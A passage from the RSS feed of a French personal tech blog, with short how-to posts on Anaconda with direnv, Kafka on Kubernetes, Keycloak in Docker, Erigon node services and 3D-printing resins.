&lt;h1 id=&#34;nouvel-environnement-anaconda&#34;&gt;Nouvel environnement anaconda&lt;/h1&gt;
&lt;p&gt;Si votre projet contient un fichier environment.yml, les packages s&amp;rsquo;installeront automatiquement lors de la première exécution du &lt;code&gt;direnv allow&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;.envrc&lt;/code&gt; et ajouter simplement le layout suivant: &lt;code&gt;layout anaconda&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment installer Anaconda3 sur OSX et l&rsquo;utiliser directement dans direnv.</p>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>direnv installé</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<p>On commence par installer Anaconda via brew</p>
<pre tabindex="0"><code>brew install --cask anaconda
</code></pre><br/>
<p>On édite <code>~/.zshrc</code> et on ajoute le path vers les binaires d&rsquo;Anaconda.</p>
<pre tabindex="0"><code>export PATH=&#34;/opt/homebrew/anaconda3/bin:$PATH&#34;
</code></pre><br/>
<h1 id="nouvel-environnement-anaconda">Nouvel environnement anaconda</h1>
<p>Si votre projet contient un fichier environment.yml, les packages s&rsquo;installeront automatiquement lors de la première exécution du <code>direnv allow</code>.</p>
<p>Créer un fichier <code>.envrc</code> et ajouter simplement le layout suivant: <code>layout anaconda</code>.</p>
<p>Et c&rsquo;est tout, c&rsquo;est aussi simple que cela. Enregistrer les modifications de votre fichier .envrc, exécuter la fameuse commande <code>direnv allow</code> et vous voilà dans un environnement anaconda.</p>
]]></content>
        </item>
        
        <item>
            <title>Présentation - Retour d&#39;expérience DevOps</title>
            <link>https://leandeep.com/pr%C3%A9sentation-retour-dexp%C3%A9rience-devops/</link>
            <pubDate>Mon, 22 May 2023 23:16:00 +0000</pubDate>
            
            <guid>https://leandeep.com/pr%C3%A9sentation-retour-dexp%C3%A9rience-devops/</guid>
            <description>&lt;p&gt;Voici une présentation dans laquelle je fais un Retour d&amp;rsquo;Expérience (REX) sur ce que nous avons mis en place côté DevOps chez mon dernier client.&lt;/p&gt;

    &lt;iframe
        src=&#34;//www.slideshare.net/slideshow/embed_code/key/dwd1w9HcPY0RQX&#34;
        title=&#34;SlideShare Presentation&#34;
        height=&#34;485&#34;
        width=&#34;595&#34;
        frameborder=&#34;0&#34;
        marginwidth=&#34;0&#34;
        marginheight=&#34;0&#34;
        scrolling=&#34;no&#34;
        style=&#34;border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;&#34;
        allowfullscreen=&#34;true&#34;&gt;
    &lt;/iframe&gt;</description>
            <content type="html"><![CDATA[<p>Voici une présentation dans laquelle je fais un Retour d&rsquo;Expérience (REX) sur ce que nous avons mis en place côté DevOps chez mon dernier client.</p>

    <iframe
        src="//www.slideshare.net/slideshow/embed_code/key/dwd1w9HcPY0RQX"
        title="SlideShare Presentation"
        height="485"
        width="595"
        frameborder="0"
        marginwidth="0"
        marginheight="0"
        scrolling="no"
        style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;"
        allowfullscreen="true">
    </iframe>





<p>Le son n&rsquo;est pas de très bonne qualité mais voici la présentation du Meetup (démarrage du REX à partir de la minute 4):

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/aBX9RzA2RuA?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>

</p>]]></content>
        </item>
        
        <item>
            <title>Décoder une string HTML encoded en ligne de commande</title>
            <link>https://leandeep.com/d%C3%A9coder-une-string-html-encoded-en-ligne-de-commande/</link>
            <pubDate>Wed, 03 May 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9coder-une-string-html-encoded-en-ligne-de-commande/</guid>
            <description>&lt;p&gt;Tip du jour pour rapidement convertir une string HTML encoded via le terminal.&lt;/p&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install recode
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;commande&#34;&gt;Commande&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;string&amp;amp;#32;&amp;amp;#35;1&amp;amp;#46;&amp;#34; | recode html..ascii
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Tip du jour pour rapidement convertir une string HTML encoded via le terminal.</p>
<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>brew install recode
</code></pre><br/>
<h2 id="commande">Commande</h2>
<pre tabindex="0"><code>echo &#34;string&amp;#32;&amp;#35;1&amp;#46;&#34; | recode html..ascii
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Kafka sur Kubernetes</title>
            <link>https://leandeep.com/installer-kafka-sur-kubernetes/</link>
            <pubDate>Mon, 03 Apr 2023 22:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-kafka-sur-kubernetes/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article très rapide, nous allons voir comment installer Kafka (et Zookeeper) sur Kubernetes (ou avoir une version pour développer en local)&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-de-lopérateur-strimzi&#34;&gt;Installation de l&amp;rsquo;opérateur Strimzi&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl create namespace kafka
kubectl create -f &amp;#39;https://strimzi.io/install/latest?namespace=kafka&amp;#39; -n kafka
kubectl get pod -n kafka --watch
kubectl logs deployment/strimzi-cluster-operator -n kafka -f
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;création-du-cluster&#34;&gt;Création du cluster&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl apply -f https://strimzi.io/examples/latest/kafka/kafka-persistent-single.yaml -n kafka
kubectl wait kafka/my-cluster --for=condition=Ready --timeout=300s -n kafka
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;envoyer-et-recevoir-des-messages&#34;&gt;Envoyer et recevoir des messages&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Envoyer
kubectl -n kafka run kafka-producer -ti --image=quay.io/strimzi/kafka:0.34.0-kafka-3.4.0 --rm=true --restart=Never -- bin/kafka-console-producer.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --topic my-topic

# Recevoir
kubectl -n kafka run kafka-consumer -ti --image=quay.io/strimzi/kafka:0.34.0-kafka-3.4.0 --rm=true --restart=Never -- bin/kafka-console-consumer.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --topic my-topic --from-beginning
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;effacer-le-cluster&#34;&gt;Effacer le cluster&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl -n kafka delete $(kubectl get strimzi -o name -n kafka)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;effacer-lopérateur&#34;&gt;Effacer l&amp;rsquo;opérateur&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl -n kafka delete -f &amp;#39;https://strimzi.io/install/latest?namespace=kafka&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;autres&#34;&gt;Autres&lt;/h2&gt;
&lt;h3 id=&#34;tip-1&#34;&gt;Tip 1&lt;/h3&gt;
&lt;p&gt;Dans le cas ou vous souhaitez récupérer des YAML distants en local (pour les backuper dans git par exemple) et les appliquer ensuite, on peut aussi utiliser la commande suivante:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article très rapide, nous allons voir comment installer Kafka (et Zookeeper) sur Kubernetes (ou avoir une version pour développer en local)</p>
<br/>
<h2 id="installation-de-lopérateur-strimzi">Installation de l&rsquo;opérateur Strimzi</h2>
<pre tabindex="0"><code>kubectl create namespace kafka
kubectl create -f &#39;https://strimzi.io/install/latest?namespace=kafka&#39; -n kafka
kubectl get pod -n kafka --watch
kubectl logs deployment/strimzi-cluster-operator -n kafka -f
</code></pre><br/>
<h2 id="création-du-cluster">Création du cluster</h2>
<pre tabindex="0"><code>kubectl apply -f https://strimzi.io/examples/latest/kafka/kafka-persistent-single.yaml -n kafka
kubectl wait kafka/my-cluster --for=condition=Ready --timeout=300s -n kafka
</code></pre><br/>
<h2 id="envoyer-et-recevoir-des-messages">Envoyer et recevoir des messages</h2>
<pre tabindex="0"><code># Envoyer
kubectl -n kafka run kafka-producer -ti --image=quay.io/strimzi/kafka:0.34.0-kafka-3.4.0 --rm=true --restart=Never -- bin/kafka-console-producer.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --topic my-topic

# Recevoir
kubectl -n kafka run kafka-consumer -ti --image=quay.io/strimzi/kafka:0.34.0-kafka-3.4.0 --rm=true --restart=Never -- bin/kafka-console-consumer.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --topic my-topic --from-beginning
</code></pre><br/>
<h2 id="effacer-le-cluster">Effacer le cluster</h2>
<pre tabindex="0"><code>kubectl -n kafka delete $(kubectl get strimzi -o name -n kafka)
</code></pre><br/>
<h2 id="effacer-lopérateur">Effacer l&rsquo;opérateur</h2>
<pre tabindex="0"><code>kubectl -n kafka delete -f &#39;https://strimzi.io/install/latest?namespace=kafka&#39;
</code></pre><br/>
<h2 id="autres">Autres</h2>
<h3 id="tip-1">Tip 1</h3>
<p>Dans le cas ou vous souhaitez récupérer des YAML distants en local (pour les backuper dans git par exemple) et les appliquer ensuite, on peut aussi utiliser la commande suivante:</p>
<pre tabindex="0"><code>cat &lt;&lt;EOF | kubectl create -n kafka -f -
apiVersion: kafka.strimzi.io/v1beta2
...
EOF
</code></pre><br/>
<h3 id="tip-2">Tip 2</h3>
<p>Sinon en local, il y a toujours l&rsquo;option <code>docker-compose</code> qui est simple et efficace&hellip;</p>
<pre tabindex="0"><code>version: &#39;3&#39;
services:
  zookeeper:
    image: confluentinc/cp-zookeeper:latest
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_TICK_TIME: 2000
    restart: always
    ports:
      - 22181:2181

  kafka:
    image: confluentinc/cp-kafka:latest
    depends_on:
      - zookeeper
    restart: always
    ports:
      - 29092:29092
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Keycloak installation using Docker</title>
            <link>https://leandeep.com/keycloak-installation-using-docker/</link>
            <pubDate>Tue, 14 Mar 2023 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/keycloak-installation-using-docker/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The purpose of the short article is the describe the commands to launch a Keycloak instance on your local dev environment.
For production purpose I would suggest a Kubernetes deployment.&lt;/p&gt;
&lt;h2 id=&#34;option-1-without-docker-compose&#34;&gt;Option 1 (without docker-compose)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Create Docker Network&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker network create keycloak-network
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Launch Postgres DB&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export POSTGRES_KEYCLOAK_PWD=&amp;#34;&amp;#34;
docker run --name postgres --net keycloak-network -e POSTGRES_DB=keycloak -e POSTGRES_USER=keycloak -e POSTGRES_PASSWORD=$POSTGRES_KEYCLOAK_PWD -p 5432:5432 postgres
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Launch Keyclaok instance and pass it Postgres environment variables&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>The purpose of the short article is the describe the commands to launch a Keycloak instance on your local dev environment.
For production purpose I would suggest a Kubernetes deployment.</p>
<h2 id="option-1-without-docker-compose">Option 1 (without docker-compose)</h2>
<p><strong>Create Docker Network</strong></p>
<pre tabindex="0"><code>docker network create keycloak-network
</code></pre><br/>
<p><strong>Launch Postgres DB</strong></p>
<pre tabindex="0"><code>export POSTGRES_KEYCLOAK_PWD=&#34;&#34;
docker run --name postgres --net keycloak-network -e POSTGRES_DB=keycloak -e POSTGRES_USER=keycloak -e POSTGRES_PASSWORD=$POSTGRES_KEYCLOAK_PWD -p 5432:5432 postgres
</code></pre><br/>
<p><strong>Launch Keyclaok instance and pass it Postgres environment variables</strong></p>
<pre tabindex="0"><code>docker run --name keycloak --net keycloak-network -p 8080:8080 -e DB_ADDR=postgres -e DB_USER=keycloak -e DB_PASSWORD=$POSTGRES_KEYCLOAK_PWD jboss/keycloak:16.1.1
</code></pre><p><br/>
<strong>Create a Keycloak admin user</strong></p>
<pre tabindex="0"><code># Get the Keycloak container id
docker ps
export CONTAINER_ID=...
docker exec -it $CONTAINER_ID bash
cd /opt/jboss/keycloak/bin/
./add-user.sh -u your_username -p your_password --silent
./add-user-keycloak.sh -u your_username -p your_password
exit
docker restart $CONTAINER_ID
</code></pre><p>Now you can go to http://localhost:8080 and connect using the admin account you just created.</p>
<br/>
<h2 id="option-2-with-docker-compose-way-easier">Option 2 (with docker-compose way easier)</h2>
<p>Simply create a file called <code>docker-compose.yml</code> and add the following content:</p>
<pre tabindex="0"><code>version: &#39;3&#39;

volumes:
  postgres_data:
      driver: local

services:
  postgres:
      image: postgres
      volumes:
        - postgres_data:/var/lib/postgresql/data
      environment:
        POSTGRES_DB: keycloak
        POSTGRES_USER: keycloak
        POSTGRES_PASSWORD: password
      ports:
        - 5432:5432
  keycloak:
      image: jboss/keycloak:16.1.1
      environment:
        DB_VENDOR: POSTGRES
        DB_ADDR: postgres
        DB_DATABASE: keycloak
        DB_USER: keycloak
        DB_SCHEMA: public
        DB_PASSWORD: password
        KEYCLOAK_USER: admin
        KEYCLOAK_PASSWORD: Pa55w0rd
        # Uncomment the line below if you want to specify JDBC parameters. The parameter below is just an example, and it shouldn&#39;t be used in production without knowledge. It is highly recommended that you read the PostgreSQL JDBC driver documentation in order to use it.
        #JDBC_PARAMS: &#34;ssl=true&#34;
      ports:
        - 8080:8080
      depends_on:
        - postgres
</code></pre><p>And then simply execute <code>docker-compose up</code></p>
<br/>
<h2 id="run-keycloak-on-apple-m1m2-processors">Run Keycloak on Apple M1/M2 processors</h2>
<p>Si vous voulez faire tourner Keycloak, dans sa version actuelle <code>16.1.1</code>, sur un Mac équipé d&rsquo;un processeur M1/M2, alors vous devez le builder vous-même sur votre Mac.</p>
<pre tabindex="0"><code>export VERSION=16.1.1

cd /tmp
git clone git@github.com:keycloak/keycloak-containers.git
cd keycloak-containers/server
git checkout $VERSION
docker build -t &#34;jboss/keycloak:${VERSION}&#34; .

# docker build -t &#34;quay.io/keycloak/keycloak:${VERSION}&#34; .
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Switcher entre releases Erigon</title>
            <link>https://leandeep.com/switcher-entre-releases-erigon/</link>
            <pubDate>Sat, 18 Feb 2023 07:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/switcher-entre-releases-erigon/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ai déjà écrit plusieurs articles très similaires sur le sujet. Cette procédure décrit comment rapidement switcher de release Erigon pour tester une nouvelle feature ou vérifier qu&amp;rsquo;un fix fonctionne bien. En gros, cela me permet de switcher de release en release avec Erigon.&lt;/p&gt;
&lt;p&gt;Voir l&amp;rsquo;article suivant pour &lt;a href=&#34;https://leandeep.com/erigon-full-node-sur-debian-11/&#34;&gt;une full installation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bien sûr commencer par un backup. Voir &lt;a href=&#34;https://leandeep.com/backuper-la-db-derigon-sur-debian-11/&#34;&gt;cet article&lt;/a&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;erigon-build&#34;&gt;Erigon build&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir /root/erigon_release_2_38_1/
cd /root/erigon_release_2_38_1/
git clone https://github.com/ledgerwatch/erigon.git
cd erigon
git checkout 52fd6d60e180a267e99a25662f169797570e356e
make erigon
make rpcdaemon
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Création du service&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>J&rsquo;ai déjà écrit plusieurs articles très similaires sur le sujet. Cette procédure décrit comment rapidement switcher de release Erigon pour tester une nouvelle feature ou vérifier qu&rsquo;un fix fonctionne bien. En gros, cela me permet de switcher de release en release avec Erigon.</p>
<p>Voir l&rsquo;article suivant pour <a href="https://leandeep.com/erigon-full-node-sur-debian-11/">une full installation</a>.</p>
<p>Bien sûr commencer par un backup. Voir <a href="https://leandeep.com/backuper-la-db-derigon-sur-debian-11/">cet article</a></p>
<br/>
<h2 id="erigon-build">Erigon build</h2>
<pre tabindex="0"><code>mkdir /root/erigon_release_2_38_1/
cd /root/erigon_release_2_38_1/
git clone https://github.com/ledgerwatch/erigon.git
cd erigon
git checkout 52fd6d60e180a267e99a25662f169797570e356e
make erigon
make rpcdaemon
</code></pre><br/>
<p><strong>Création du service</strong></p>
<p><code>vim /etc/systemd/system/erigon.service</code></p>
<pre tabindex="0"><code>[Unit]
Description=Erigon Node
After=network.target network-online.target
Wants=network-online.target

[Service]
WorkingDirectory=/root/erigon_release_2_38_1/erigon/
ExecStart=/root/erigon_release_2_38_1/erigon/build/bin/erigon --datadir=/erigon --private.api.addr=localhost:9090 --prune=hrtc --prune.h.older=90000 --prune.r.older=90000 --prune.t.older=90000 --prune.c.older=90000 --metrics --metrics.addr=localhost --metrics.port=6060 --http=false --authrpc.jwtsecret /root/ethereum/consensus/prysm/jwt.hex
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon

[Install]
WantedBy=multi-user.target
</code></pre><br/>
<p><strong>Création du second service</strong></p>
<p><code>vim /etc/systemd/system/erigon-rpc.service</code></p>
<pre tabindex="0"><code>[Unit]
Description=Erigon RPC Daemon

[Service]

WorkingDirectory=/root/erigon_release_2_38_1/erigon/
ExecStart=/root/erigon_release_2_38_1/erigon/build/bin/rpcdaemon --datadir=/erigon --private.api.addr=localhost:9090 --http.vhosts &#39;*&#39; --http.port 8545 --http.addr 0.0.0.0 --http.corsdomain &#39;*&#39; --http.api=eth,erigon,web3,net,debug,trace
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon-rpc

[Install]
WantedBy=multi-user.target
</code></pre><br/>
<p><strong>On active et démarre les services</strong></p>
<pre tabindex="0"><code>systemctl daemon-reload
systemctl enable erigon
systemctl enable erigon-rpc
systemctl start erigon
systemctl start erigon-rpc
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<pre tabindex="0"><code>journalctl -f -u erigon
journalctl -f -u erigon-rpc
tail -f /var/log/prysm.log
</code></pre><br/>
<p><strong>Vérifier la synchronisation</strong></p>
<pre tabindex="0"><code>curl -X POST -H &#34;Content-Type: application/json&#34; --data &#39;{&#34;jsonrpc&#34;: &#34;2.0&#34;, &#34;method&#34;:
&#34;eth_blockNumber&#34;, &#34;params&#34;: [], &#34;id&#34;:1}&#39; localhost:8545 | jq -r &#34;.result&#34; | awk &#39;{ printf &#34;%d\n&#34;, $1 }&#39;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Bonnes résines pour maxi dureté en impression 3D</title>
            <link>https://leandeep.com/bonnes-r%C3%A9sines-pour-maxi-duret%C3%A9-en-impression-3d/</link>
            <pubDate>Tue, 14 Feb 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/bonnes-r%C3%A9sines-pour-maxi-duret%C3%A9-en-impression-3d/</guid>
            <description>&lt;p&gt;Petit tip un peu différent. Voici une petite liste de bonnes résines à utiliser pour l&amp;rsquo;impression 3D. Ces résines sont un bon compromis entre facilité d&amp;rsquo;impression, dureté, résistence à la chaleur et prix:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les liens ne sont pas des liens d&amp;rsquo;affiliation. Je fais 0 pub, mets 0 cookie et fais 0 tracking sur ce blog type &amp;ldquo;personal notes&amp;rdquo;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.amazon.fr/Build-R%C3%A9sine-dimpression-r%C3%A9solution-cassante/dp/B08GB321MH/ref=sr_1_2?crid=2TIH77S0JIMUA&amp;amp;keywords=siraya&amp;#43;tech&amp;#43;build&amp;amp;qid=1676394144&amp;amp;sprefix=sirayatech&amp;#43;build%2Caps%2C129&amp;amp;sr=8-2&#34;&gt;SirayaTech Build&lt;/a&gt; (le top du top et surtout pour des pièces qui nécessitent une résistence à la chaleur. Max 100°C)&lt;/li&gt;
&lt;li&gt;Mélange de 50% de résine SirayaTech Build et 50% SirayaTech Tanacious (impression facile, dur, pas cassant, max 75°C)&lt;/li&gt;
&lt;li&gt;Mélange de 50% SirayaTech Build et 50% de Phrozen Nylon Green (impression facile, un peu cassant mais élastique, max 75°C)&lt;/li&gt;
&lt;li&gt;SirayaTech Tanacious (impression moyennement difficile, élastique, pas cassan, max 40°C)&lt;/li&gt;
&lt;li&gt;Phrozen Nylon Green Tough, (impression moyennement difficile, élastique, pas cassant, max 55°C)&lt;/li&gt;
&lt;li&gt;SirayaTech Simple (pour les grands débutants, très dur, cassant, max 70°C)&lt;/li&gt;
&lt;li&gt;Anycubic UV Tough Resin (impression facile, moyennement cassant, max 50°C)&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;Voilà c&amp;rsquo;est tout, le tip pour les makers.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip un peu différent. Voici une petite liste de bonnes résines à utiliser pour l&rsquo;impression 3D. Ces résines sont un bon compromis entre facilité d&rsquo;impression, dureté, résistence à la chaleur et prix:</p>
<blockquote>
<p>Les liens ne sont pas des liens d&rsquo;affiliation. Je fais 0 pub, mets 0 cookie et fais 0 tracking sur ce blog type &ldquo;personal notes&rdquo;.</p></blockquote>
<ul>
<li><a href="https://www.amazon.fr/Build-R%C3%A9sine-dimpression-r%C3%A9solution-cassante/dp/B08GB321MH/ref=sr_1_2?crid=2TIH77S0JIMUA&amp;keywords=siraya&#43;tech&#43;build&amp;qid=1676394144&amp;sprefix=sirayatech&#43;build%2Caps%2C129&amp;sr=8-2">SirayaTech Build</a> (le top du top et surtout pour des pièces qui nécessitent une résistence à la chaleur. Max 100°C)</li>
<li>Mélange de 50% de résine SirayaTech Build et 50% SirayaTech Tanacious (impression facile, dur, pas cassant, max 75°C)</li>
<li>Mélange de 50% SirayaTech Build et 50% de Phrozen Nylon Green (impression facile, un peu cassant mais élastique, max 75°C)</li>
<li>SirayaTech Tanacious (impression moyennement difficile, élastique, pas cassan, max 40°C)</li>
<li>Phrozen Nylon Green Tough, (impression moyennement difficile, élastique, pas cassant, max 55°C)</li>
<li>SirayaTech Simple (pour les grands débutants, très dur, cassant, max 70°C)</li>
<li>Anycubic UV Tough Resin (impression facile, moyennement cassant, max 50°C)</li>
</ul>
<br/>
<p>Voilà c&rsquo;est tout, le tip pour les makers.</p>
]]></content>
        </item>
        
        <item>
            <title>Phases de synchronisation sur Erigon et liens vers l&#39;architecture</title>
            <link>https://leandeep.com/phases-de-synchronisation-sur-erigon-et-liens-vers-larchitecture/</link>
            <pubDate>Tue, 14 Feb 2023 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/phases-de-synchronisation-sur-erigon-et-liens-vers-larchitecture/</guid>
            <description>&lt;h2 id=&#34;steps-de-synchronisation-sur-erigon&#34;&gt;Steps de synchronisation sur Erigon&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;var (
	Snapshots           SyncStage = &amp;#34;Snapshots&amp;#34;       // Snapshots
	Headers             SyncStage = &amp;#34;Headers&amp;#34;         // Headers are downloaded, their Proof-Of-Work validity and chaining is verified
	CumulativeIndex     SyncStage = &amp;#34;CumulativeIndex&amp;#34; // Calculate how much gas has been used up to each block.
	BlockHashes         SyncStage = &amp;#34;BlockHashes&amp;#34;     // Headers Number are written, fills blockHash =&amp;gt; number bucket
	Bodies              SyncStage = &amp;#34;Bodies&amp;#34;          // Block bodies are downloaded, TxHash and UncleHash are getting verified
	Senders             SyncStage = &amp;#34;Senders&amp;#34;         // &amp;#34;From&amp;#34; recovered from signatures, bodies re-written
	Execution           SyncStage = &amp;#34;Execution&amp;#34;       // Executing each block w/o buildinf a trie
	Translation         SyncStage = &amp;#34;Translation&amp;#34;     // Translation each marked for translation contract (from EVM to TEVM)
	VerkleTrie          SyncStage = &amp;#34;VerkleTrie&amp;#34;
	IntermediateHashes  SyncStage = &amp;#34;IntermediateHashes&amp;#34;  // Generate intermediate hashes, calculate the state root hash
	HashState           SyncStage = &amp;#34;HashState&amp;#34;           // Apply Keccak256 to all the keys in the state
	AccountHistoryIndex SyncStage = &amp;#34;AccountHistoryIndex&amp;#34; // Generating history index for accounts
	StorageHistoryIndex SyncStage = &amp;#34;StorageHistoryIndex&amp;#34; // Generating history index for storage
	LogIndex            SyncStage = &amp;#34;LogIndex&amp;#34;            // Generating logs index (from receipts)
	CallTraces          SyncStage = &amp;#34;CallTraces&amp;#34;          // Generating call traces index
	TxLookup            SyncStage = &amp;#34;TxLookup&amp;#34;            // Generating transactions lookup index
	Finish              SyncStage = &amp;#34;Finish&amp;#34;              // Nominal stage after all other stages

	MiningCreateBlock SyncStage = &amp;#34;MiningCreateBlock&amp;#34;
	MiningExecution   SyncStage = &amp;#34;MiningExecution&amp;#34;
	MiningFinish      SyncStage = &amp;#34;MiningFinish&amp;#34;
	// Beacon chain stages
	BeaconHistoryReconstruction SyncStage = &amp;#34;BeaconHistoryReconstruction&amp;#34; // BeaconHistoryReconstruction reconstruct missing history.
	BeaconBlocks                SyncStage = &amp;#34;BeaconBlocks&amp;#34;                // BeaconBlocks are downloaded, no verification
	BeaconState                 SyncStage = &amp;#34;BeaconState&amp;#34;                 // Beacon blocks are sent to the state transition function
	BeaconIndexes               SyncStage = &amp;#34;BeaconIndexes&amp;#34;               // Fills up Beacon indexes

)
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Source: &lt;a href=&#34;https://pkg.go.dev/github.com/ledgerwatch/erigon/eth/stagedsync/stages&#34;&gt;https://pkg.go.dev/github.com/ledgerwatch/erigon/eth/stagedsync/stages&lt;/a&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="steps-de-synchronisation-sur-erigon">Steps de synchronisation sur Erigon</h2>
<pre tabindex="0"><code>var (
	Snapshots           SyncStage = &#34;Snapshots&#34;       // Snapshots
	Headers             SyncStage = &#34;Headers&#34;         // Headers are downloaded, their Proof-Of-Work validity and chaining is verified
	CumulativeIndex     SyncStage = &#34;CumulativeIndex&#34; // Calculate how much gas has been used up to each block.
	BlockHashes         SyncStage = &#34;BlockHashes&#34;     // Headers Number are written, fills blockHash =&gt; number bucket
	Bodies              SyncStage = &#34;Bodies&#34;          // Block bodies are downloaded, TxHash and UncleHash are getting verified
	Senders             SyncStage = &#34;Senders&#34;         // &#34;From&#34; recovered from signatures, bodies re-written
	Execution           SyncStage = &#34;Execution&#34;       // Executing each block w/o buildinf a trie
	Translation         SyncStage = &#34;Translation&#34;     // Translation each marked for translation contract (from EVM to TEVM)
	VerkleTrie          SyncStage = &#34;VerkleTrie&#34;
	IntermediateHashes  SyncStage = &#34;IntermediateHashes&#34;  // Generate intermediate hashes, calculate the state root hash
	HashState           SyncStage = &#34;HashState&#34;           // Apply Keccak256 to all the keys in the state
	AccountHistoryIndex SyncStage = &#34;AccountHistoryIndex&#34; // Generating history index for accounts
	StorageHistoryIndex SyncStage = &#34;StorageHistoryIndex&#34; // Generating history index for storage
	LogIndex            SyncStage = &#34;LogIndex&#34;            // Generating logs index (from receipts)
	CallTraces          SyncStage = &#34;CallTraces&#34;          // Generating call traces index
	TxLookup            SyncStage = &#34;TxLookup&#34;            // Generating transactions lookup index
	Finish              SyncStage = &#34;Finish&#34;              // Nominal stage after all other stages

	MiningCreateBlock SyncStage = &#34;MiningCreateBlock&#34;
	MiningExecution   SyncStage = &#34;MiningExecution&#34;
	MiningFinish      SyncStage = &#34;MiningFinish&#34;
	// Beacon chain stages
	BeaconHistoryReconstruction SyncStage = &#34;BeaconHistoryReconstruction&#34; // BeaconHistoryReconstruction reconstruct missing history.
